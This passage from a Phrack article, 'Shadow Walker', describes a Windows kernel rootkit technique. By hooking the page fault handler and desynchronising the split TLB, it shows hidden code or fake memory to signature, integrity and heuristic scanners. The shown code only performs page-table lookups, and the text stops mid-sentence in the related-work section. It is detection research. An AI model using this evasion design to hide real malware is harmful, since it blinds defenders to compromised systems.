TUCoPS :: Phrack Inc. Issue #63 :: p63-0x08.txt

Phrack, Inc. Issue 63, File 08/20 - Raising The Bar For Windows Rootkit Detection


                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x08 of 0x14


|=-------------------------=[ Shadow Walker ]=---------------------------=|
|=--------=[ Raising The Bar For Windows Rootkit Detection ]=------------=|
|=-----------------------------------------------------------------------=|
|=---------=[ Sherri Sparks <ssparks at mail.cs.ucf dot edu > ]=---------=|
|=---------=[ Jamie Butler <james.butler at hbgary dot com >  ]=---------=|
      
0 - Introduction & Background On Rootkit Technology                        
  0.1 - Motivations                                                        
      
1 - Rootkit Detection                                                      
  1.1 - Detecting The Effect Of A Rootkit (Heuristics)                     
  1.2 - Detecting The Rootkit Itself (Signatures)                          
      
2 - Memory Architecture Review                                             
  2.1 - Virtual Memory - Paging vs. Segmentation                           
  2.2 - Page Tables & PTE's                                                
  2.3 - Virtual to Physical Address Translation                            
  2.4 - The Role of the Page Fault Handler                                 
  2.5 - The Paging Performance Problem & the TLB                           
      
3 - Memory Cloaking Concept                                                
  3.1 - Hiding Executable Code                                             
  3.2 - Hiding Pure Data                                                   
  3.3 - Related Work                                                       
  3.4 - Proof of Concept Implementation                                    
      3.4.a - Modified FU Rootkit                                          
      3.4.b - Shadow Walker Memory Hook Engine                             
                                   
4 - Known Limitations & Performance Impact
                                  
5 - Detection
     
6 - Conclusion                                                             
      
7 - References 

8 - Acknowlegements                                           
      
--[ 0 - Introduction & Background                                          

Rootkits have historically demonstrated a co-evolutionary adaptation and   
response to the development of defensive technologies designed to
apprehend their subversive agenda.  If we trace the evolution of rootkit 
technology, this pattern is evident.  First generation rootkits were 
primitive.  They  simply replaced / modified key system files on the 
victim's system.  The UNIX login program was a common target and involved
an attacker replacing the original binary with a maliciously enhanced 
version that logged user passwords.  Because these early rootkit 
modifications were limited to system files on disk, they motivated the 
development of file system integrity checkers such as Tripwire [1].        
          
In response, rootkit developers moved their modifications off disk to the  
memory images of the loaded programs and, again, evaded detection. These   
'second' generation rootkits were primarily based upon hooking techniques
that altered the execution path by making memory patches to loaded         
applications and some operating system components such as the system call  
table. Although much stealthier, such modifications remained detectable by 
searching for heuristic abnormalities. For example, it is suspicious for   
the system service table to contain pointers that do not point to the      
operating system kernel. This is the technique used by VICE [2].           

Third generation kernel rootkit techniques like Direct Kernel Object       
Manipulation (DKOM), which was implemented in the FU rootkit [3], 
capitalize on the weaknesses of current detection software by modifying 
dynamically changing kernel data structures for which it is impossible to 
establish a static trusted baseline.
      
----[ 0.1 - Motivations
                                                    
There are public rootkits which illustrate all of these various techniques,
but even the most sophisticated Windows kernel rootkits, like FU, possess  
an inherent flaw. They subvert essentially all of the operating system's   
subsystems with one exception: memory management. Kernel rootkits can      
control the execution path of kernel code, alter kernel data, and fake     
system call return values, but they have not (yet) demonstrated the        
capability to 'hook' or fake the contents of memory seen by other running  
applications.  In other words, public kernel rootkits are sitting ducks for
in memory signature scans.  Only now are security companies beginning to 
think of implementing memory signature scans.                              
                                                                           
Hiding from memory scans is similar to the problem faced by early viruses 
attempting to hide on the file system. Virus writers reacted to anti-virus 
programs scanning the file system by developing polymorphic and metamorphic
techniques to evade detection.  Polymorphism attempts to alter the binary  
image of a virus by replacing blocks of code with functionally equivalent  
blocks that appear different (i.e. use different opcodes to perform the    
same task).  Polymorphic code, therefore, alters the superficial appearance
of a block of code, but it does not fundamentally alter a scanner's view of
that region of system memory.                                              
                                                                           
Traditionally, there have been three general approaches to malicious code  
detection: misuse detection, which relies upon known code signatures,      
anomaly detection, which relies upon heuristics and statistical deviations 
from 'normal' behavior, and integrity checking which relies upon comparing 
current snapshots of the file system or memory with a known, trusted       
baseline.  A polymorphic rootkit (or virus) effectively evades signature   
based detection of its code body, but falls short in anomaly or integrity  
detection schemes because it cannot easily camouflage the changes it makes 
to existing binary code in other system components.                        
                                                                           
Now imagine a rootkit that makes no effort to change its superficial       
appearance, yet is capable of fundamentally altering a detectors view of an
arbitrary region of memory. When the detector attempts to read any region  
of memory modified by the rootkit, it sees a 'normal', unaltered view of   
memory. Only the rootkit sees the true, altered view of memory. Such a     
rootkit is clearly capable of compromising all of the primary detection    
methodologies to varying degrees.  The implications to misuse detection are
obvious. A scanner attempts to read the memory for the loaded rootkit      
driver looking for a code signature and the rootkit simply returns a       
random, 'fake' view of memory (i.e. which does not include its own code) to
the scanner.  There are also implications for integrity validation         
approaches to detection.  In these cases, the rootkit returns the unaltered
view of memory to all processes other than itself.  The integrity checker  
sees the unaltered code, finds a matching CRC or hash, and (erroneously)   
assumes that all is well.  Finally, any anomaly detection methods which    
rely upon identifying deviant structural characteristics will be fooled    
since they will receive a 'normal' view of the code. An example of this    
might be a scanner like VICE which attempts to heuristically identify      
inline function hooks by the presence of a direct jump at the beginning of 
the function body.                                                         

Current rootkits, with the exception of Hacker Defender [4], have made 
little or no effort to introduce viral polymorphism techniques.  As stated 
previously, while a valuable technique, polymorphism is not a comprehensive
solution to the problem for a rootkit because the rootkit cannot easily    
camouflage the changes it must make to existing code in order to install   
its hooks.  Our objective, therefore, is to show proof of concept that the 
current architecture permits subversion of memory management such that a   
non polymorphic kernel mode rootkit (or virus) is capable of controlling   
the view of memory regions seen by the operating system and other processes
with a minimal performance hit. The end result is that it is possible to   
hide a 'known' public rootkit driver (for which a code signature exists)   
from detection.  To this end, we have designed an 'enhanced' version of the
FU rootkit. In section 1, we discuss the basic techniques used to detect a 
rootkit. In section 2, we give a background summary of the x86 memory      
architecture.  Section 3 outlines the concept of memory cloaking and proof 
of concept implementation for our enhanced rootkit.  Finally, we           
conclude with a discussion of its detectability, limitations, future       
extensibility, and performance impact.  Without further ado, we bid you    
welcome to 4th generation rootkit technology.                              
      
--[ 1 - Rootkit Detection                                                  
      
Until several months ago, rootkit detection was largely ignored by security
vendors. Many mistakenly classified rootkits in the same category as other 
viruses and malware. Because of this, security companies continued to use  
the same detection methods the most prominent one being signature scans on 
the file system. This is only partially effective. Once a rootkit is loaded
in memory is can delete itself on disk, hide its files, or even divert an  
attempt to open the rootkit file. In this section, we will examine more    
recent advances in rootkit detection.                                      
      
----[ 1.2 - Detecting The Effect Of A Rootkit (Heuristics)                 
      
One method to detect the presence of a rootkit is to detect how it alters  
other parameters on the computer system. In this way, the effects of the   
rootkit are seen although the actual rootkit that caused the deviation may 
not be known. This solution is a more general approach since no signature  
for a particular rootkit is necessary. This technique is also looking for  
the rootkit in memory and not on the file system.                          
      
One effect of a rootkit is that it usually alters the execution path of a  
normal program. By inserting itself in the middle of a program's execution,
the rootkit can act as a middle man between the kernel functions the       
program relies upon and the program. With this position of power, the      
rootkit can alter what the program sees and does. For example, the rootkit 
could return a handle to a log file that is different from the one the     
program intended to open, or the rootkit could change the destination of   
network communication. These rootkit patches or hooks cause extra          
instructions to be executed. When a patched function is compared to a      
normal function, the difference in the number of instructions executed can
be indicative of a rootkit. This is the technique used by PatchFinder [5]. 
One of the drawbacks of PatchFinder is that the CPU must be put into single
step mode in order to count instructions. So for every instruction executed
an interrupt is fired and must be handled. This slows the performance of   
the system, which may be unacceptable on a production machine. Also, the   
actual number of instructions executed can vary even on a clean system.    
Another rootkit detection tool called VICE detects the presence of hooks in
applications and in the kernel . VICE analyzes the addresses of the        
functions exported by the operating system looking for hooks. The exported 
functions are typically the target of rootkits because by filtering certain
APIs rootkits can hide. By finding the hooks themselves, VICE avoids the   
problems associated with instruction counting. However, VICE also relies   
upon several APIs so it is possible for a rootkit to defeat its hook
detection [6]. Currently the biggest weakness of VICE is that it detects 
all hooks both malicious and benign. Hooking is a legitimate technique used
by many security products.                                                 
      
Another approach to detecting the effects of a rootkit is to identify the  
operating system lying. The operating system exposes a well-known API in   
order for applications to interact with it. When the rootkit alters the    
results of a particular API, it is a lie. For example, Windows Explorer may
request the number of files in a directory using several functions in the  
Win32 API. If the rootkit changes the number of files that the application 
can see, it is a lie. To detect the lie, a rootkit detector needs at least 
two ways to obtain the same information. Then, both results can be
compared. RootkitRevealer [7] uses this technique. It calls the highest 
level APIs and compares those results with the results of the lowest level 
APIs. This method can be bypassed by a rootkit if it also hooks at those 
lowest layers. RootkitRevealer also does not address data alterations. The 
FU rootkit alters the kernel data structures in order to hide its 
processes. RootkitRevealer does not detect this because both the higher and
lower layer APIs return the same altered data set. Blacklight from F-Secure
[8] also tries to detect deviations from the truth. To detect hidden 
processes, it relies on an undocumented kernel structure. Just as FU walks 
the linked list of processes to hide, Blacklight walks a linked list of 
handle tables in the kernel. Every process has a handle table; therefore, 
by identifying all the handle tables Blacklight can find a pointer to every
process on the computer. FU has been updated to also unhook the hidden 
process from the linked list of handle tables. This arms race will 
continue.                
      
----[ 1.2 - Detecting the Rootkit Itself (Signatures)                      
      
Anti-virus companies have shown that scanning file systems for signatures
can be effective; however, it can be subverted. If the attacker camouflages
the binary by using a packing routine, the signature may no longer match   
the rootkit. A signature of the rootkit as it will execute in memory is one
way to solve this problem. Some host based intrusion prevention systems    
(HIPS) try to prevent the rootkit from loading. However, it is extremely   
difficult to block all the ways code can be loaded in the kernel . Recent  
papers by Jack Barnaby [9] and Chong [10] have highlighted the threat of 
kernel exploits, which will allow arbitrary code to be loaded into memory 
and executed.                                                              
      
Although file system scans and loading detection are needed, perhaps the   
last layer of detection is scanning memory itself. This provides an added  
layer of security if the rootkit has bypassed the previous checks. Memory  
signatures are more reliable because the rootkit must unpack or unencrypt  
in order to execute. Not only can scanning memory be used to find a        
rootkit, it can be used to verify the integrity of the kernel itself since 
it has a known signature. Scanning kernel memory is also much faster than
scanning everything on disk. Arbaugh et. al. [11] have taken this technique
to the next level by implementing the scanner on a separate card with its 
own CPU. 

The next section will explain the memory architecture on Intel x86.   
      
--[ 2 - Memory Architecture Review                                         
      
In early computing history, programmers were constrained by the amount of  
physical memory contained in a system.  If a program was too large to fit  
into memory, it was the programmer's responsibility to divide the program  
into pieces that could be loaded and unloaded on demand. These pieces were 
called overlays.  Forcing this type of memory management upon user level   
programmers increased code complexity and programming errors while reducing
efficiency.  Virtual memory was invented to relieve programmers of these   
burdens.                                                                   
      
----[ 2.1 - Virtual Memory - Paging vs. Segmentation                       
      
Virtual memory is based upon the separation of the virtual and physical    
address spaces. The size of the virtual address space is primarily a       
function of the width of the address bus whereas the size of the physical  
address space is dependent upon the quantity of RAM installed in the       
system. Thus, a system possessing a 32 bit bus is capable of addressing    
2^32 (or ~4 GB) physical bytes of contiguous memory. It may, however, not  
have anywhere near that quantity of RAM installed. If this is the case,    
then the virtual address space will be larger than the physical address    
space. Virtual memory divides both the virtual and physical address spaces 
into fixed size blocks. If these blocks are all the same size, the system  
is said to use a paging memory model. If the blocks are varying sizes, it  
is considered to be a segmentation model. The x86 architecture is in fact a
hybrid, utlizing both segementation and paging, however, this article      
focuses primarily upon exploitation of its paging mechanism.               
      
Under a paging model, blocks of virtual memory are referred to as pages and
blocks of physical memory are referred to as frames. Each virtual page maps
to a designated physical frame. This is what enables the virtual address   
space seen by programs to be larger than the amount of physically          
addressable memory (i.e. there may be more pages than physical frames). It 
also means that virtually contiguous pages do not have to be physically    
contiguous. These points are illustrated by Figure 1.                      
      
   VIRTUAL ADDRESS                      PHYSICAL ADDRESS                   
        SPACE                                SPACE                         
   /-------------\                      /-------------\                    
   |             |                      |             |                    
   |   PAGE 01   |---\   /----------->>>|  FRAME 01   |                    
   |             |   |   |              |             |                    
   ---------------   |   |              ---------------                    
   |             |   |   |              |             |                    
   |   PAGE 02   |------------------->>>|  FRAME 02   |                    
   |             |   |   |              |             |                    
   ---------------   |   |              ---------------                    
   |             |   |   |              |             |                    
   |   PAGE 03   |   \---|----------->>>|  FRAME 03   |                    
   |             |       |              |             |                    
   ---------------       |              \-------------/                    
   |             |       |                                                 
   |   PAGE 04   |       |                                                 
   |             |       |                                                 
   |-------------|       |                                                 
   |             |       |                                                 
   |   PAGE 05   |-------/                                                 
   |             |                                                         
   \-------------/                                                         
      
   [ Figure 1 - Virtual To Physical Memory Mapping (Paging)         ]      
   [                                                                ]      
   [ NOTE: 1. Virtual & physical address spaces are divided into    ]      
   [ fixed size blocks. 2. The virtual address space may be larger  ]      
   [ than the physical address space. 3. Virtually contiguous       ]      
   [ blocks to not have to be mapped to physically contiguous       ]      
   [ frames.                                                        ]      
      
----[ 2.2 - Page Tables & PTE's
      
The mapping information that connects a virtual address with its physical  
frame is stored in page tables in structures known as PTE's. PTE's also    
store status information. Status bits may indicate, for example, weather or
not a page is valid (physically present in memory versus stored on disk),  
if it is writable, or if it is a user / supervisor page. Figure 2 shows the
format for an x86 PTE.                                                     
      
   Valid          <------------------------------------------------\       
   Read/Write     <--------------------------------------------\   |       
   Privilege      <----------------------------------------\   |   |       
   Write Through  <------------------------------------\   |   |   |       
   Cache Disabled <--------------------------------\   |   |   |   |       
   Accessed       <---------------------------\    |   |   |   |   |       
   Dirty          <-----------------------\   |    |   |   |   |   |       
   Reserved       <-------------------\   |   |    |   |   |   |   |       
   Global         <---------------\   |   |   |    |   |   |   |   |       
   Reserved       <----------\    |   |   |   |    |   |   |   |   |       
   Reserved       <-----\    |    |   |   |   |    |   |   |   |   |       
   Reserved       <-\   |    |    |   |   |   |    |   |   |   |   |       
                    |   |    |    |   |   |   |    |   |   |   |   |       
   +----------------+---+----+----+---+---+---+----+---+---+---+---+-+     
   |              |   |   |    |    |   |   |   |    |   | U | R |   |     
   | PAGE FRAME # | U | P | Cw | Gl | L | D | A | Cd | Wt| / | / | V |     
   |              |   |   |    |    |   |   |   |    |   | S | W |   |     
   +-----------------------------------------------------------------+     
      
   [ Figure 2 - x86 PTE FORMAT (4 KBYTE PAGE) ]                            
      
      
----[ 2.4 - Virtual To Physical Address Translation                        
      
Virtual addresses encode the information necessary to find their PTE's in  
the page table. They are divided into 2 basic parts: the virtual page      
number and the byte index.  The virtual page number provides the index into
the page table while the byte index provides an offset into the physical   
frame. When a memory reference occurs, the PTE for the page is looked up in
the page table by adding the page table base address to the virtual page   
number * PTE entry size. The base address of the page in physical memory is
then extracted from the PTE and combined with the byte offset to define the
physical memory address that is sent to the memory unit.  If the virtual   
address space is particularly large and the page size relatively small, it 
stands to reason that it will require a large page table to hold all of the
mapping information. And as the page table must remain resident in main    
memory, a large table can be costly. One solution to this dilemma is to use
a multi-level paging scheme.  A two-level paging scheme, in effect, pages  
the page table. It further subdivides the virtual page number into a page  
directory and a page table index. The page directory is simply a table of  
pointers to page tables. This two level paging scheme is the one supported 
by the x86. Figure 3 illustrates how the virtual address is divided up to  
index the page directory and page tables and Figure 4 illustrates the      
process of address translation.                                            
      
   +---------------------------------------+                               
   | 31                                 12 |                 0             
   | +----------------+ +----------------+ | +---------------+             
   | | PAGE DIRECTORY | |   PAGE TABLE   | | |  BYTE INDEX   |             
   | |     INDEX      | |     INDEX      | | |               |             
   | +----------------+ +----------------+ | +---------------+             
   |       10 bits            10 bits      |      12 bits                  
   |                                       |                               
   |         VIRTUAL PAGE NUMBER           |                               
   +---------------------------------------+                               
      
   [ Figure 3 - x86 Address & Page Table Indexing Scheme ]                 
      
        
     +--------+                                                            
   /-|KPROCESS|                                                            
   | +--------+                                                            
   |               Virtual Address                                         
   | +------------------------------------------+                          
   | | Page Directory | Page Table | Byte Index |                          
   | |     Index      |   Index    |            |                          
   | +-+-------------------+-------------+------+                          
   |   | +---+             |             |                                 
   |   | |CR3| Physical    |             |                                 
   |   | +---+ Address Of  |             |                                 
   |   |       Page Dir    |             |                                 
   |   |                   |             \------ -\                        
   |   |                   |                      |                       
   |   |  Page Directory   |       Page Table     |     Physical Memory    
   \---|->+------------+   | /-->+------------+   \---->+------------+     
       |  |            |   | |   |            |         |            |     
       |  |            |   | |   |            |         |            |     
       |  |            |   | |   |            |         |------------|     
       |  |            |   | |   |            |         |            |     
       |  |------------|   | |   |            |         |   Page     |     
       \->|    PDN     |---|-/   |            |         |   Frame    |     
          |------------|   |     |            |      /---->          |     
          |            |   |     |            |      |  |------------|     
          |            |   |     |            |      |  |            |     
          |            |   |     |            |      |  |            |     
          |            |   |     |            |      |  |            |     
          |            |   |     |------------|      |  |            |     
          |            |   \---->|    PFN     -------/  |            |     
          |            |         |------------|         |            |     
          +------------+         +------------+         +------------+     
          (1 per process)      (512 per processs)                          
      
   [ Figure 4 - x86 Address Translation ]                                
 
     
A memory access under a 2 level paging scheme potentially involves the     
following sequence of steps.                                               
      
1. Lookup of page directory entry (PDE).
   Page Directory Entry = Page Directory Base Address + sizeof(PDE) * Page 
   Directory Index (extracted from virtual address that caused the  memory 
   access)
   NOTE: Windows maps the page directory to virtual address 0xC0300000. 
   Base addresses for page directories are also located in KPROCESS blocks 
   and the register cr3 contains the physical address of the current 
   page directory.  
      
2. Lookup of page table entry.                                             
   Page Table Entry = Page Table Base Address + sizeof(PTE) * Page Table
   Index (extracted from virtual address that caused the memory access).   
   NOTE: Windows maps the page directory to virtual address 0xC0000000.
   The base physical address for the page table is also stored in the page 
   directory entry.                                                        
      
3. Lookup of physical address.                                             
   Physical Address = Contents of PTE + Byte Index                         
   NOTE: PTEs hold the physical address for the physical frame. This is 
   combined with the byte index (offset into the frame) to form the 
   complete physical address. For those who prefer code to explanation, the
   following two routines show how this translation occurs. The first 
   routine, GetPteAddress performs steps 1 and 2 described above. It 
   returns a pointer to the page table entry for a given virtual address. 
   The second routine returns the base physical address of the frame to 
   which the page is mapped.
      
#define PROCESS_PAGE_DIR_BASE                  0xC0300000
#define PROCESS_PAGE_TABLE_BASE                0xC0000000
typedef unsigned long* PPTE;
      
/**************************************************************************
* GetPteAddress - Returns a pointer to the page table entry corresponding  
*                 to a given memory address.                               
*     
* Parameters:
*       PVOID VirtualAddress - Address you wish to acquire a pointer to the
*                              page table entry for.                       
*     
* Return - Pointer to the page table entry for VirtualAddress or an error  
*          code.                                                           
*     
* Error Codes:                                                             
*       ERROR_PTE_NOT_PRESENT - The page table for the given virtual 
*                               address is not present in memory.          
*      ERROR_PAGE_NOT_PRESENT - The page containing the data for the       
*                               given virtual address is not present in    
*                               memory.                                    
**************************************************************************/
PPTE GetPteAddress( PVOID VirtualAddress )                                 
{     
        PPTE pPTE = 0;                                                     
        __asm                                                              
        {                                                                  
                cli                     //disable interrupts               
                pushad                                                     
                mov esi, PROCESS_PAGE_DIR_BASE                             
                mov edx, VirtualAddress                                    
                mov eax, edx                                               
                shr eax, 22                                                
                lea eax, [esi + eax*4]  //pointer to page directory entry  
                test [eax], 0x80        //is it a large page?              
                jnz Is_Large_Page       //it's a large page                
                mov esi, PROCESS_PAGE_TABLE_BASE                           
                shr edx, 12                                                
                lea eax, [esi + edx*4]  //pointer to page table entry (PTE)
                mov pPTE, eax                                              
                jmp Done                                                   
      
                //NOTE: There is not a page table for large pages because 
                //the phys frames are contained in the page directory.     
                Is_Large_Page:                                             
                mov pPTE, eax                                              
      
                Done:                                                      
                popad                                                      
                sti                    //reenable interrupts               
        }//end asm                                                         
      
        return pPTE;                                                       
      
}//end GetPteAddress                                                       
      
/**************************************************************************
* GetPhysicalFrameAddress - Gets the base physical address in memory where 
*                           the page is mapped. This corresponds to the    
*                           bits 12 - 32 in the page table entry.          
*     
* Parameters -                                                             
*       PPTE pPte - Pointer to the PTE that you wish to retrieve the 
*       physical address from.                                             
*     
* Return - The physical address of the page.                               
**************************************************************************/
ULONG GetPhysicalFrameAddress( PPTE pPte )                                 
{     
        ULONG Frame = 0;                                                   
      
        __asm                                                              
        {                                                                  
                cli                                                        
                pushad                                                     
                mov eax, pPte                                              
                mov ecx, [eax]                                             
                shr ecx, 12  //physical page frame consists of the         
                             //upper 20 bits
                mov Frame, ecx                                             
                popad                                                      
                sti                                                        
        }//end asm                                                         
        return Frame;                                                      
      
}//end GetPhysicalFrameAddress                                             
      
      
----[ 2.5 - The Role Of The Page Fault Handler                             
      
Since many processes only use a small portion of their virtual address     
space, only the used portions are mapped to physical frames. Also, because 
physical memory may be smaller than the virtual address space, the OS may  
move less recently used pages to disk (the pagefile) to satisfy current    
memory demands. Frame allocation is handled by the operating system. If a  
process is larger than the available quantity of physical memory, or the   
operating system runs out of free physical frames, some of the currently   
allocated frames must be swapped to disk to make room. These swapped out   
pages are stored in the page file. The information about whether or not a  
page is resident in main memory is stored in the page table entry. When a  
memory access occurs, if the page is not present in main memory a page     
fault is generated.  It is the job of the page fault handler to issue the  
I/O requests to swap out a less recently used page if all of the available 
physical frames are full and then to bring in the requested page from the  
pagefile.  When virtual memory is enabled, every memory access must be     
looked up in the page table to determine which physical frame it maps to   
and whether or not it is present in main memory. This incurs a substantial 
performance overhead, especially when the architecture is based upon a     
multi-level page table scheme like the Intel Pentium. The memory access    
page fault path can be summarized as follows.                              
      
1. Lookup in the page directory to determine if the page table for the     
   address is present in main memory.                                      
2. If not, an I/O request is issued to bring in the page table from disk.  
3. Lookup in the page table to determine if the requested page is present  
   in main memory.                                                         
4. If not, an I/O request is issued to bring in the page from disk.        
5. Lookup the requested byte (offset) in the page.                         
      
Therefore every memory access, in the best case, actually requires 3 memory
accesses : 1 to access the page directory, 1 to access the page table, and 
1 to get the data at the correct offset.  In the worst case, it may require
an additional 2 disk I/Os (if the pages are swapped out to disk). Thus, 
virtual memory incurs a steep performance hit.                             
      
----[ 2.6 - The Paging Performance Problem & The TLB                       
      
The translation lookaside buffer (TLB) was introduced to help mitigate this
problem. Basically, the TLB is a hardware cache which holds frequently used
virtual to physical mappings. Because the TLB is implemented using         
extremely fast associative memory, it can be searched for a translation    
much faster than it would take to look that translation up in the page     
tables.  On a memory access, the TLB is first searched for a valid 
translation. If the translation is found, it is termed a TLB hit. 
Otherwise, it is a miss.  A TLB hit, therefore, bypasses the slower page 
table lookup. Modern TLB's have an extremely high hit rate and        
therefore seldom incur miss penalty of looking up the translation in the   
page table.                                                                
               
--[ 3 - Memory Cloaking Concept                                            
      
One goal of an advanced rootkit is to hide its changes to executable code
(i.e. the placement of an inline patch, for example).  Obviously, it may
also wish to hide its own code from view.  Code, like data, sits in memory
and we may define the basic forms of memory access as:

  - EXECUTE
  - READ
  - WRITE

Technically speaking, we know that each virtual page maps to a physical    
page frame defined by a certain number of bits in the page table entry.    
What if we could filter memory accesses such that EXECUTE accesses mapped  
to a different physical frame than READ / WRITE accesses? From a rootkit's 
perspective, this would be highly advantageous.  Consider the case of an   
inline hook. The modified code would run normally, but any attempts to read
(i.e. detect) changes to the code would be diverted to a 'virgin' physical 
frame that contained a view of the original, unaltered code. Similarly, a  
rootkit driver might hide itself by diverting READ accesses within its     
memory range off to a page containing random garbage or to a page          
containing a view of code from another 'innocent' driver.  This would imply
that it is possible to spoof both signature scanners and integrity         
monitors.  Indeed, an architectural feature of the Pentium architecture    
makes it possible for a rootkit to perform this little trick with a minimal
impact on overall system performance.  We describe the details in the next 
section.                                                                   
      
----[ 3.1 - Hiding Executable Code                                         
      
Ironically, the general  methodology  we are about to discuss is an        
offensive extension of an existing stack overflow protection scheme known  
as PaX. We briefly discuss the PaX implementation in 3.3 under related    
work. 

In order to hide executable code, there are at least 3 underlying issues
which must be addressed:

1. We need a way to filter execute and read / write accesses.
2. We need a way to "fake" the read / write memory accesses
   when we detect them.
3. We need to ensure that performance is not adversly affected.

The first issue concerns how to filter execute accesses from read / write
accesses. When virtual memory is enabled, memory access restrictions are
enforced by setting bits in the page table entry which specify whether a
given page is read-only or read-write. Under the IA-32 architecture,
however, all pages are executable.  As such, there is no official way to
filter execute accesses from read / write accesses and thus enforce the 
execute-only / diverted read-write semantics necessary for this scheme 
to work.  We can, however, trap and filter memory accesses by marking their
PTE's non present and hooking the page fault handler.  In the page fault
handler we have access to the saved instruction pointer and the faulting
address. If the instruction pointer equals the faulting address, then it is
an execute access.  Otherwise, it is a read / write.  As the OS uses the
present bit in memory management, we also need to differentiate between
page faults due to our memory hook and normal page faults.  The simplest
way is to require that all hooked pages either reside in non paged memory
or be explicitly locked down via an API like MmProbeAndLockPages. 

The next issue concerns how to "fake" the EXECUTE and READ / WRITE accesses
when we detect them (and do so with a minimal performance hit). In this 
case, the Pentium TLB architecture comes to the rescue.  The pentium
possesses a split TLB with one TLB for instructions and the other for data.
As mentioned previously, the TLB caches the virtual to physical page frame 
mappings when virtual memory is enabled.  Normally, the ITLB and DTLB are  
synchronized and hold the same physical mapping for a given page. Though   
the TLB is primarily hardware controlled, there are several software       
mechanisms for manipulating it.                                            
      
  - Reloading cr3 causes all TLB entries except global entries to be 
    flushed. This typically occurs on a context switch.                    
  - The invlpg causes a specific TLB entry to be flushed.                  
  - Executing a data access instruction causes the DTLB to be loaded with
    the mapping for the data page that was accessed.                       
  - Executing a call causes the ITLB to be loaded with the mapping for the 
    page containing the code executed in response to the call.             
  
We can filter execute accesses from read / write accesses and fake them by 
desynchronizing the TLB's such that the ITLB holds a different virtual to  
physical mapping than the DTLB.  This process is performed as follows:

First, a new page fault handler is installed to handle the cloaked page
accesses.  Then the page-to-be-hooked is marked not present and it's 
TLB entry is flushed via the invlpg instruction. This ensures that all  
subsequent  accesses to the page will be filtered through the installed    
page fault handler.  Within the installed page fault handler, we determine 
whether a given memory access is due to an execute or read/write by 
comparing the saved instruction pointer with the faulting address.  If they
match, the memory access is due to an execute.  Otherwise, it is due to a 
read / write.  The type of access determines which mapping is manually 
loaded into the ITLB or DTLB.  Figure 5 provides a conceptual view  
of this strategy. 

Lastly, it is important to note that TLB access is much faster than                  
performing a page table lookup. In general, page faults are costly.
Therefore, at first glance, it might appear that marking the hidden pages  
not present would incur a significant performance hit. This is, in fact,
not the case. Though we mark the hidden pages not present, for most memory
accesses we do not incur the penalty of a page fault because the entries 
are cached in the TLB. The exceptions are, of course, the initial faults
that occur after marking the cloaked page not present and any subsequent
faults which result from cache line evictions when a TLB set becomes full.
Thus, the primary job of the new page fault handler is to explicitly and
selectively load the DTLB or ITLB with the correct mappings for hidden
pages. All faults originating on other pages are passed down to the
operating system page fault handler.    
   
   
                                                     +-------------+ 
                                        rootkit code |   FRAME 1   |  
      Is it a +-----------+           /------------->|             |       
       code   |           |           |              |-------------|       
      access? |   ITLB    |           |              |   FRAME 2   |       
      /------>|-----------|-----------/              |             |       
      |       |  VPN=12   |                          |-------------|       
      |       |  Frame=1  |                          |   FRAME 3   |       
      |       +-----------+                          |             |       
      |                           +-------------+    |-------------|       
   MEMORY                         | PAGE TABLES |    |   FRAME 4   |       
   ACCESS                         +-------------+    |             |       
   VPN=12                                            |-------------|       
      |                                              |   FRAME 5   |       
      |       +-----------+                          |             |       
      |       |           |                          |-------------|       
      |       |   DTLB    |           random garbage |   FRAME 6   |       
      |------>|------------------------------------->|             |       
      Is it a |  VPN=12   |                          |-------------|       
        data  |  Frame=6  |                          |   FRAME N   |       
      access? +-----------+                          |             |       
                                                     +-------------+       
   
   [ Figure 5 - Faking Read / Writes by Desynchronizing the Split TLB ]    
  
----[ 3.2 - Hiding Pure Data                                               
      
Hiding data modifications is significantly less optimal than hiding code   
modifications, but it can be accomplished provided that one is willing to  
accept the performance hit.  We cause a minimal performance loss when      
hiding executable code by virtue of the fact that the ITLB can maintain a  
different mapping than the DTLB. Code can execute very fast with a minimum 
of page faults because that mapping is always present in the ITLB (except  
in the rare event the ITLB entry gets evicted from the cache).             
Unfortunately, in the case of data we can't introduce any such             
inconsistency. There is only 1 DTLB and consequently that DTLB has to be   
kept empty if we are to catch and filter specific data accesses. The end   
result is 1 page fault per data access. This is not be a big problem in    
terms of hiding a specific driver if the driver is carefully designed and  
uses a minimum of global data, but the performance hit could be formidable 
when trying to hide a frequently accessed data page.

For data hiding, we have used a protocol based approach between the hidden 
driver and the memory hook. We use this to show how one might hide global
data in a rootkit driver.  In order to allow the memory access to go throug
the DTLB is loaded in the page fault handler.  In order to enforce the 
correct filtering of data accesses, however, it must be flushed immediately
by the requesting driver to ensure that no other code accesses that memory 
address and receives the data resulting from an incorrect mapping.         
The protocol for accessing data on a hidden page is as follows:          

1. The driver raises the IRQL to DISPATCH_LEVEL (to ensure that no other
   code gets to run which might see the "hidden" data as opposed to the    
   "fake" data).
                                                          
2. The driver must explicitly flush the TLB entry for the page containing  
   the cloaked variable using the invlpg instruction. In the event that    
   some other process has attempted to access our data page and been       
   served with the fake frame (i.e. we don't want to receive the fake  
   mapping which may still reside in the TLB so we clear it to be sure). 
                
3. The driver is allowed to perform the  data access.      
                
4. The driver must explicitly flush the TLB entry for the page containing  
   the cloaked variable using the invlpg instruction (i.e. so that the     
   "real" mapping does not remain in the TLB. We don't want any other      
   drivers or processes receiving the hidden mapping so we clear it).
    
5. The driver lowers the IRQL to the previous level before it was raised.  
                                                    
The additional restriction also applies:                                   
      
  - No global data can be passed to kernel API functions. When calling an
    API, global data must be copied into local storage on the stack and
    passed into the API function (i.e. if the API accesses the cloaked
    variable it will receive fake data and perform incorrectly).

This protocol can be efficiently implemented in the hidden driver by having
the driver copy all global data over into local variables at the beginning 
of the routine and then copy the data back after the function body has     
completed executing. Because stack data is in a constant state of flux, it 
is unlikely that a signature could be reliably obtained from  global data  
on the stack. In this way, there is no need to cause a page fault on every 
global access. In general, only one page fault is required to copy over the
data at the beginning of the routine and one fault to copy the data back at
the end of the routine. Admittedly, this disregards more complex issues    
involved with multithreaded access and synchronization. An alternative
approach to using a protocol between the driver and PF handler would
be to single step the instruction causing the memory access. This would
be less cumbersome for the driver and yet allow the PF handler to maintain
control of the DTLB (ie. to flush it after the data access so that it 
remains empty).
                   
----[ 3.3 - Related Work                                                   
      
Ironically, the memory cloaking technology discussed in this article is  
derived from an existing stack overflow protection scheme  known as PaX .  
As such, we demonstrate a potentially offensive application of an  
originally defensive technology. Though very similar (i.e. taking advantage
of the Pentium split TLB architecture), there are subtle differences       
between PaX and the rootkit application of the technology.  Whereas our    
